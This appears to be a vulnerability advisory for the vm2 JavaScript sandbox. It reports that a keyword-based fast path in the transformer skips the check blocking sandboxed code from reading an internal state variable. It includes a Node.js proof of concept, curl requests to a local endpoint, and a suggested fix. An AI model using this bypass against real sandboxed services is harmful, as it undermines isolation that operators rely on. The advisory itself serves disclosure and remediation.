vm2's Transformer Fast-Path Bypass Exposes Internal State Variable
Summary
vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).
Details
In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.
When the fast-path is taken:
1. INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL never runs
2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation
3. The internal state object exposes: handleException(e), wrapWith(x), import(what)
While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.
PoC
Library-level PoC (Node.js script — primary):
```javascript
const { VM } = require("vm2");
const vm = new VM();
// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"
// Control test — blocked when catch keyword is present
try {
vm.run(`
try {
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
} catch(e) { e.message }
`);
} catch(e) {
console.log(e.message); // "Use of internal vm2 state variable"
}
```
HTTP demonstration:
```bash
# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"
# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}
```
Suggested fix:
```javascript
// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
return {__proto__: null, code, hasAsync: false};
}
```
Impact
- Security Control Bypass: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.
- Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes.
- Scope: All applications using vm2. No special configuration required.
